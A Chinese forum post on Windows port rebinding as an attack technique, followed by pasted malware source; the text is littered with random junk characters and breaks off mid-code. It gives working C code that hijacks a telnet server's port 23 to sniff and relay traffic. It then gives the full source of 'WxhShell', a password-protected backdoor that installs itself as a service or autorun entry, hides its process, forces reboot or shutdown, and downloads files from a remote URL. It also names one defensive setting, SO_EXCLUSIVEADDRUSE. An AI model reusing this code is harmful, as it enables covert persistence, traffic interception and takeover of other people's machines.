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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hg}R(.1K=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,M$ J yda  
<~35tOpv  
  saddr.sin_family = AF_INET; iLJBiZ+  
/7yd&6`I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RV, cQ K  
,L^ag&!4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z#{%[X2  
>I;J!{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zZ{(7K fz  
<'z.3@D  
  这意味着什么?意味着可以进行如下的攻击: 3Vb/Mn!k  
uKd79[1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iGsD!2  
&3bhK5P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xX2/uxi8  
"!_,N@\t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t{Gc,S!]5  
=fy'w3m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   OiMr,  
(j884bu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8WMGuv  
3d*wZ9qz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x @uowx_&m  
AWz|HF#-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OK=ANQjs(  
/7p1y v  
  #include }}w Z  
  #include }tUr V   
  #include Q@? {|7:  
  #include    Ebytvs,w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^F`\B'8MF  
  int main() @1iH4RE*  
  { glgXSOj  
  WORD wVersionRequested; 9:]|TIPi  
  DWORD ret; spv'r!*\ed  
  WSADATA wsaData; SyCa~M!}>  
  BOOL val; uE:`Fo=y  
  SOCKADDR_IN saddr; W,sPg\G 3  
  SOCKADDR_IN scaddr; 4dI =  
  int err; x]<0Kq9K  
  SOCKET s; #FsoK*F  
  SOCKET sc; p )w{}@%r  
  int caddsize; TrmrA$5f  
  HANDLE mt; so@wUxF  
  DWORD tid;   Cy'! >  
  wVersionRequested = MAKEWORD( 2, 2 ); SbN.z  
  err = WSAStartup( wVersionRequested, &wsaData ); <;':'sW  
  if ( err != 0 ) { XCQPVSh  
  printf("error!WSAStartup failed!\n");  o C#W  
  return -1; vC ISd   
  } >`u/#mrd  
  saddr.sin_family = AF_INET; 2RC@Fu~zaU  
   i@hW" [A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j`ybzG^  
}@Ou]o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |aMeh;X t  
  saddr.sin_port = htons(23); `]4bH,%~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |^$?9Dn9.L  
  { R?H[{A X  
  printf("error!socket failed!\n"); 2;&!]2vo$  
  return -1; o `}(1$a>  
  } ZRLS3*`  
  val = TRUE; !=rJ~s F/{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h^ =9R6im  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RoeLf Ow  
  { { '1e?  
  printf("error!setsockopt failed!\n"); mVdg0  
  return -1; Xwt}WSdF`k  
  } Q2nqA1sRk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^A' Bghy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'NDDj0Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !+Us)'L  
Y[Kpd[)[v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J^)=8cy  
  { 9  7Mi{Zz  
  ret=GetLastError(); NB?y/v  
  printf("error!bind failed!\n"); ;LE9w^>^V  
  return -1; :zLeS-  
  } "E}38  
  listen(s,2); ry!0~ir  
  while(1) z]bcg$m  
  { z`KP }-  
  caddsize = sizeof(scaddr); G+zIh}9  
  //接受连接请求 wH N5H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ISALR{Aq  
  if(sc!=INVALID_SOCKET) MZK%IC>  
  { ^b@&O-&s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wwVg'V;  
  if(mt==NULL)  j2%?-(U  
  { Ch,%xs.)G  
  printf("Thread Creat Failed!\n"); 8lfKlXR78  
  break; j=5hW.fI  
  } K6M_b?XekA  
  } UTph(U#  
  CloseHandle(mt); jpRC6b?  
  } To@77.'  
  closesocket(s); 4VrL@c @  
  WSACleanup(); UcxMA%Pw7$  
  return 0; #8;#)q_[u  
  }   iDrQ4>  
  DWORD WINAPI ClientThread(LPVOID lpParam) | +r5D4]e  
  { <Pg<F[eDM  
  SOCKET ss = (SOCKET)lpParam; S1G3xY$0  
  SOCKET sc; NQqq\h  
  unsigned char buf[4096]; S1D;Xv@  
  SOCKADDR_IN saddr; y~/i{a;1y  
  long num; sm96Ye{O{  
  DWORD val; qS}pv  
  DWORD ret; \\i$zRi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V H2/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9Ls=T=96  
  saddr.sin_family = AF_INET; (X(c.Jj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #,PB(  
  saddr.sin_port = htons(23); ~zD*=h2C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w;(B4^?  
  { @(_f}S gfE  
  printf("error!socket failed!\n"); ruTj#tWSo  
  return -1; QLum=YB  
  } nk^-+olm  
  val = 100; r,-9 ]?i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #uHl  
  { SE<hZLd"  
  ret = GetLastError(); w\2yippI  
  return -1; 5X=ik7m^  
  } Hg%8Q@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g"o),$tm  
  { =as\Tp#d  
  ret = GetLastError(); j+7ok 5J#  
  return -1; >W7IWhm3  
  } 2=p"%YSn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >HlQ+bl$xw  
  { Eh*t;J=O  
  printf("error!socket connect failed!\n"); H]JVv8  
  closesocket(sc); k>;a5'S  
  closesocket(ss); D|rcSa.M  
  return -1; _mSQ>BBRl  
  } i1JWdHt  
  while(1) xPJ kadu  
  { gdVajOAu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'YUx&F cM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P2^((c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0nOp'Ky\k  
  num = recv(ss,buf,4096,0); "=r"c$xou  
  if(num>0) O)i]K`jk  
  send(sc,buf,num,0); BL Q&VI4  
  else if(num==0) SuU %x2  
  break; (!9ybH;T  
  num = recv(sc,buf,4096,0); %/(>>*}Kw|  
  if(num>0) _$Hx:^p:  
  send(ss,buf,num,0); 70&]nb6f  
  else if(num==0) 999E0A$dkv  
  break; /n|`a1!  
  } 3x{2Dhi  
  closesocket(ss); OK"B`*  
  closesocket(sc); o) hQ]d  
  return 0 ; j/9Uf|z-_  
  } zrJ/Fs+s  
/P-Eg86V'  
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========================================================== zz+p6`   
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下边附上一个代码,,WXhSHELL  4[] /  
&]?X"K  
========================================================== {,aI0bw;  
@Ja8~5:  
#include "stdafx.h" CNiUHUD  
Q/ ,j v5  
#include <stdio.h> Q< q&a8~  
#include <string.h> #+- /0{HT  
#include <windows.h> u0(PWCi2  
#include <winsock2.h> CK+GD "Z$  
#include <winsvc.h> kr C4O2Fkj  
#include <urlmon.h> .#] V5g,  
?T(>!m  
#pragma comment (lib, "Ws2_32.lib") :OVre*j  
#pragma comment (lib, "urlmon.lib") ]OZk+DU:  
M=hH:[6 &  
#define MAX_USER   100 // 最大客户端连接数 9p#Laei].  
#define BUF_SOCK   200 // sock buffer |GvWHe`  
#define KEY_BUFF   255 // 输入 buffer @KhDQ0v]5  
{5=Iu\e  
#define REBOOT     0   // 重启 xnW3,:0  
#define SHUTDOWN   1   // 关机 Qw{LD+r(  
X&[S.$_U  
#define DEF_PORT   5000 // 监听端口 dT%$"sj5  
$EB&]t+  
#define REG_LEN     16   // 注册表键长度 W(oJ{R&m{  
#define SVC_LEN     80   // NT服务名长度 Z. ))=w6G  
H?~|Uj 6  
// 从dll定义API "i\rhX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `N_elf://n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ' {L5 3cH=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (hB&OP5Fne  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TU-4+o%;  
}hralef #N  
// wxhshell配置信息 KV Vo_9S'  
struct WSCFG { gNdEPaaFI  
  int ws_port;         // 监听端口 I6x  
  char ws_passstr[REG_LEN]; // 口令 =rA"|=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 37hs/=x  
  char ws_regname[REG_LEN]; // 注册表键名 oh k.;  
  char ws_svcname[REG_LEN]; // 服务名 .a%D:4GYR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fb7Gy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vps</f!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Q4TQ\:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o~#cpU4{o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `.dX@<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uES|jU{]b  
N02X*NC  
}; $niJw@zC  
]d$:R`;  
// default Wxhshell configuration ?MT V!i0  
struct WSCFG wscfg={DEF_PORT, R36BvW0X  
    "xuhuanlingzhe", t6GL/M4  
    1, [Bn C_^[W  
    "Wxhshell", =.=4P~T&  
    "Wxhshell", 4l/hh|3@  
            "WxhShell Service", M ABrf`<b  
    "Wrsky Windows CmdShell Service", p5|.E  
    "Please Input Your Password: ", G%{J.J41F  
  1, :.863_/  
  "http://www.wrsky.com/wxhshell.exe", 4K_rL{s0U  
  "Wxhshell.exe" l<5@a (  
    }; C&\MDOjx  
6w3z&5DY|  
// 消息定义模块 s}8(__|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B?BB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4~mYj@lvd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;D}8acQ  
char *msg_ws_ext="\n\rExit."; f)`_su U  
char *msg_ws_end="\n\rQuit."; $#3O:aW  
char *msg_ws_boot="\n\rReboot..."; xq`mo  
char *msg_ws_poff="\n\rShutdown..."; J!O{.v  
char *msg_ws_down="\n\rSave to "; ,/?7sHK-0  
Wpgp YcPS  
char *msg_ws_err="\n\rErr!"; o~Jce$ X  
char *msg_ws_ok="\n\rOK!"; Y?ADM(j  
=L,s6J8_'  
char ExeFile[MAX_PATH]; [1+ o  
int nUser = 0; ;DQ{6(  
HANDLE handles[MAX_USER]; :@mBSE/  
int OsIsNt; 6n[O8^  
Lp!4X1/|\  
SERVICE_STATUS       serviceStatus; &J>XKO nl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *P\$<4l  
mGss9eZa  
// 函数声明 e70#"~gt[  
int Install(void); )uj:k*`)  
int Uninstall(void); L="ipM:Z  
int DownloadFile(char *sURL, SOCKET wsh); (u/-ud1p  
int Boot(int flag); U/hf?T;  
void HideProc(void); $<;!F=%8  
int GetOsVer(void); Y[_{tS#u  
int Wxhshell(SOCKET wsl); Sz!mn  
void TalkWithClient(void *cs); VFmG\  
int CmdShell(SOCKET sock); `^:>sU  
int StartFromService(void); bl8zcpdL  
int StartWxhshell(LPSTR lpCmdLine); .A(QqL>  
d-GU164  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  "! -  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z2Q'9C},m  
rM?O2n  
// 数据结构和表定义 i5PZ)&  
SERVICE_TABLE_ENTRY DispatchTable[] = p$5uS=:4`8  
{ 3 pzp6o2  
{wscfg.ws_svcname, NTServiceMain}, y\a@'LFL  
{NULL, NULL} Hnq$d6F  
}; 2p^Jqp`$  
h>w(Th\H  
// 自我安装 4q9+a7@  
int Install(void) rI'kGqU  
{ "3&bh>#qY  
  char svExeFile[MAX_PATH]; DGc5Lol~  
  HKEY key; $,b1`*  
  strcpy(svExeFile,ExeFile); ec8 iZ8h8  
UFE# J  
// 如果是win9x系统,修改注册表设为自启动 )9pRT dT  
if(!OsIsNt) { Gy]ZYo(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `G@(Z:]f,t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2|6E{o  
  RegCloseKey(key); M]5)u=}S-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j3-^,r t4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +.czj,Sq  
  RegCloseKey(key); a^#\"c  
  return 0; rtjUHhF  
    } !#NGGIp;  
  } _?}[7K!~d  
} $D][_I  
else { YcRo>:I  
5bj9S  
// 如果是NT以上系统,安装为系统服务 IPVD^a ?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3+<f7  
if (schSCManager!=0) .!`y(N0hc  
{ 6L/`  
  SC_HANDLE schService = CreateService vk jHh.  
  ( P&sn IJ  
  schSCManager, hifC.guK  
  wscfg.ws_svcname, a_T3<  
  wscfg.ws_svcdisp, .UGbo.e  
  SERVICE_ALL_ACCESS, dzbFUDJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JS!`eO/8  
  SERVICE_AUTO_START, _{C =d3  
  SERVICE_ERROR_NORMAL, )N'-A p$g  
  svExeFile, x:? EL)(  
  NULL, (teK0s;t5k  
  NULL, Y& p ~8  
  NULL, kSfNu{YS  
  NULL, gebDNl\Y2  
  NULL -;Ij ,  
  ); /)J]m  
  if (schService!=0) l+r3|b  
  { %E"dha JY  
  CloseServiceHandle(schService); U)Jwo O  
  CloseServiceHandle(schSCManager); ">M:6\B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /D>G4PP<  
  strcat(svExeFile,wscfg.ws_svcname); 0s72BcP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TN=!;SvQU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e ia>Y$  
  RegCloseKey(key); "nA~/t=  
  return 0; OnND(YiX  
    } A|`mIma#  
  } ukDaX  
  CloseServiceHandle(schSCManager); \Gm\sy  
} DyCnL@  
} :>*0./hG  
0..]c-V(G  
return 1; F T$x#>  
} .FeVbZW  
K}( @Ek  
// 自我卸载 =`OnFdI  
int Uninstall(void) 9#:B_?e=  
{ 3{{Ew}kZm  
  HKEY key; =5q_aK#i  
2o<aEn&7|e  
if(!OsIsNt) { -+z8bZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zv5vYe9Ow  
  RegDeleteValue(key,wscfg.ws_regname); h#}'9oA  
  RegCloseKey(key); l&_PsnU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gXvE^fE  
  RegDeleteValue(key,wscfg.ws_regname); !%(PN3*  
  RegCloseKey(key); X!|K 4Z!k  
  return 0; |.?X ov]  
  } (b"kN(  
} BV)) #D9  
} i'3)5  
else { *:Uq ;)*  
PB;j4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =h\uC).t&  
if (schSCManager!=0) Wg=qlux-  
{ YM&i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CE7{>pl  
  if (schService!=0) @;7Ht Z`  
  { 8<=]4-X@  
  if(DeleteService(schService)!=0) { ]2rC n};  
  CloseServiceHandle(schService); @e2P3K gg  
  CloseServiceHandle(schSCManager); /kV5~i<1S  
  return 0; A-l[f\  
  } >rY^Un{Z  
  CloseServiceHandle(schService); FyqsFTh_  
  } D77s3AyHK  
  CloseServiceHandle(schSCManager); tR<L9h  
} V)c.AX5  
} Rnw v/)  
\u*[mrX_B:  
return 1; ~_|CXPiQ8  
} $msf~M*  
;v5Jps2^]  
// 从指定url下载文件 ?nwg.&P  
int DownloadFile(char *sURL, SOCKET wsh)  QB#_Wn  
{ \t]_UNGyW  
  HRESULT hr; :8U@KABH@h  
char seps[]= "/"; ]\F}-I[  
char *token; T~~K~a \8  
char *file; /0r6/ _5-.  
char myURL[MAX_PATH]; 7 b 8pWM  
char myFILE[MAX_PATH]; `V{'GF&[  
,S?M;n?z_  
strcpy(myURL,sURL); :'sMrf_EA  
  token=strtok(myURL,seps); <f;X s(  
  while(token!=NULL) m0N{%Mf-  
  { IZ@M K  
    file=token; Mo]  
  token=strtok(NULL,seps); G|j8iV O  
  } 7)*QX,4C  
$s,(-C   
GetCurrentDirectory(MAX_PATH,myFILE); yGC3B00Z  
strcat(myFILE, "\\"); WfYC`e7q  
strcat(myFILE, file); Bkdt[qDn5P  
  send(wsh,myFILE,strlen(myFILE),0); GriFb]ml"  
send(wsh,"...",3,0); 8@]vvZ2/gj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P9M. J^<  
  if(hr==S_OK) Nuaq{cl  
return 0; :z2G a  
else @DK`#,  
return 1; 0W,.1J2*  
is`~C  
} Is>~P*2Y=  
h"dn:5G:=  
// 系统电源模块 l8+;)2p!  
int Boot(int flag) I[P_j`aE  
{ {YEGy  
  HANDLE hToken; [{6fyd;  
  TOKEN_PRIVILEGES tkp; <X ([VZ  
j`%a2  
  if(OsIsNt) { |)%;B%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Z#=ppvs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < mp_[-c  
    tkp.PrivilegeCount = 1; ;+rcT;_^/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m:c .dei5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ly]J-BTe  
if(flag==REBOOT) { :~'R|l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @k\npFKQm  
  return 0; <P#:dS%r  
} Y, {pG]B$w  
else { MbXtmQ%C8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  e,T^8_>  
  return 0; {11xjvAD  
} , nW)A/?}  
  } SEIJ+u9XsA  
  else { eDsc_5I  
if(flag==REBOOT) { V:2{LR<R8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -GYJ)f  
  return 0; [!U! Z'i  
} w 9C?wT  
else { ~r&+18Z;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ov,[F< GT  
  return 0; bCV_jR+  
} L+_ JKc  
} a=M/0N{!  
8Od7e`  
return 1; 9]QHwa>_|2  
} kn}bb*eZ  
*`V r P  
// win9x进程隐藏模块 6`Diz_(  
void HideProc(void) h=dFSK?*D  
{ :*eJ*(M  
83_vo0@<6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xPzBbe  
  if ( hKernel != NULL ) |J:m{  
  { S>y}|MG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /hAy1V6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cq}i)y  
    FreeLibrary(hKernel); {2L V0:k2  
  } b?k6-r$j  
.qrS[ w  
return; ~=?^v[T1  
} Fz2C XC  
t!o=-k  
// 获取操作系统版本 oW3Uyj  
int GetOsVer(void) 9(hI%idq  
{ ]fJ9.Js  
  OSVERSIONINFO winfo; ?gG%FzfQ/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U _~r0  
  GetVersionEx(&winfo); zA8Tp8(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E=t^I/f)E  
  return 1; fr8hT(,s)  
  else zin'&G>l  
  return 0; .cB>ab&  
} LknV47vd  
Pa"[&{:  
// 客户端句柄模块 p+16*f9,^  
int Wxhshell(SOCKET wsl) QG5)mIJ  
{ [uFv_G{H  
  SOCKET wsh; L[MAc](me-  
  struct sockaddr_in client; jm,:jkr  
  DWORD myID; 60r0O5=|Fl  
6NGQU%Hd  
  while(nUser<MAX_USER) dm"|\7  
{ g&X X@I8+v  
  int nSize=sizeof(client); G4G<Ow)`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PKYm{wO-  
  if(wsh==INVALID_SOCKET) return 1; +5H1n(6)  
YZz8xtM<2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `2n%Lo?_  
if(handles[nUser]==0) (} Y|^uM,  
  closesocket(wsh); &"clBR Vg  
else _ _[bKd.  
  nUser++; A#nSK#wS61  
  } .cs4AWml<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0">9n9  
vxXrVPU3  
  return 0; CW?R7A/  
} LNM#\fb  
x{1S!A^  
// 关闭 socket /<CgSW}  
void CloseIt(SOCKET wsh) S&MF; E6  
{ N`+@_.iBX  
closesocket(wsh); i?6#>;f  
nUser--; 4']eJ==OH  
ExitThread(0); T 5>'q;jM  
} \!zM4ppr  
)u.%ycfeV  
// 客户端请求句柄 ~--F?KUnL  
void TalkWithClient(void *cs) .{"wliC2  
{ ||'A9  
<+AvbqDe  
  SOCKET wsh=(SOCKET)cs; i:x<Vi  
  char pwd[SVC_LEN]; 4td9=dNA+l  
  char cmd[KEY_BUFF]; ~[:Cl  
char chr[1]; MR.c?P?0Q  
int i,j; ABU~V+'2  
Ev,b5KelD  
  while (nUser < MAX_USER) { ShJBOaE; -  
%!OA/7XbG  
if(wscfg.ws_passstr) { +%)bd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lj@ ibA]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @c;:D`\p1C  
  //ZeroMemory(pwd,KEY_BUFF); Bu7aeBP  
      i=0; Jv59zI  
  while(i<SVC_LEN) { (XQ:f|(  
EO G&Xa  
  // 设置超时 MmD1@fW32#  
  fd_set FdRead; C |P(,Xp  
  struct timeval TimeOut; R|-!5J4h  
  FD_ZERO(&FdRead); u*8x.UE8C0  
  FD_SET(wsh,&FdRead); :$N{NChx  
  TimeOut.tv_sec=8; EsjZ;D, c(  
  TimeOut.tv_usec=0; P5oYv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9lc{{)m2)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H*h4D+Kxv  
Frum@n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -02.n}u>  
  pwd=chr[0]; ApqNV  
  if(chr[0]==0xd || chr[0]==0xa) { +/!y#&C&*  
  pwd=0; `0Xs!f  
  break; U&u~i 3  
  } YI+o:fGC5  
  i++; <L:}u!  
    } y:,m(P  
Fqg*H1I[  
  // 如果是非法用户,关闭 socket q;9OqArq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m " c6^)U  
} r<EwtO+x  
#EIcP=1m4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .pPtBqp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q=F^Y f  
D@`"99z  
while(1) { h?-M+Ac  
i#(+Kxr]>  
  ZeroMemory(cmd,KEY_BUFF); 8W}rS v+  
o~ReeZ7)Zg  
      // 自动支持客户端 telnet标准   y{J7^o(_~  
  j=0; osI0m7ws:  
  while(j<KEY_BUFF) { EL;OYW(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x(y=.4Yf+  
  cmd[j]=chr[0]; ew*;mQd  
  if(chr[0]==0xa || chr[0]==0xd) { ZBXn&Gm  
  cmd[j]=0; T,5(JP(h3  
  break; dW#?{n-H<  
  } ad`=A V]  
  j++; 'Jl3%axR  
    } sm at6p[  
Rj~y#m  
  // 下载文件 qHC/)M#L  
  if(strstr(cmd,"http://")) { b%|6y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 884-\M"h  
  if(DownloadFile(cmd,wsh)) ~Ut?'}L( d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AqjEz+TVt  
  else [<IJ{yfx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0{sYD*gK]  
  } d?>pcT)G_  
  else { [_zoJ  
e4Xo(EY &  
    switch(cmd[0]) { G|)fZQ1nS  
  a\Dw*h?b~  
  // 帮助 }!@X(S!do  
  case '?': { i 2n66d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J|N>}di  
    break; A:,R.P>`C  
  } -ZBSkyMGy  
  // 安装  b~Oc:  
  case 'i': { F/0x` l  
    if(Install()) @rxfOc0J#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8AIAv_ g  
    else X.JPM{]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Df=zrs["  
    break; $jL+15^N0+  
    } 0xpE+GY  
  // 卸载 eLyaTOZadu  
  case 'r': { %y R~dt'  
    if(Uninstall()) PZSi}j/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `zMR?F`  
    else j8{,u6w)-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1iIag}?p  
    break; E/uKzzD9  
    } d> L*2 g  
  // 显示 wxhshell 所在路径 L_ 2R3 w  
  case 'p': { L6"?p-:@'  
    char svExeFile[MAX_PATH]; =-8y =  
    strcpy(svExeFile,"\n\r"); iM{UB=C  
      strcat(svExeFile,ExeFile); 0} Lx}2  
        send(wsh,svExeFile,strlen(svExeFile),0); c`4i#R  
    break; a$h zG-  
    } F)4;:".zna  
  // 重启 @-5V~itW  
  case 'b': { !UW{xHu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (X}Q'm$n\h  
    if(Boot(REBOOT)) S`Wau/7t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7="I;  
    else { `KzNBH,W  
    closesocket(wsh); p/.[ cH  
    ExitThread(0); y/yg-\/XF  
    } o9L$B  
    break; ~4[4"Pi>|  
    } rH5'+x K  
  // 关机  *"K7<S[  
  case 'd': { X1; ljX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `]\:%+-  
    if(Boot(SHUTDOWN)) T^n0=|  
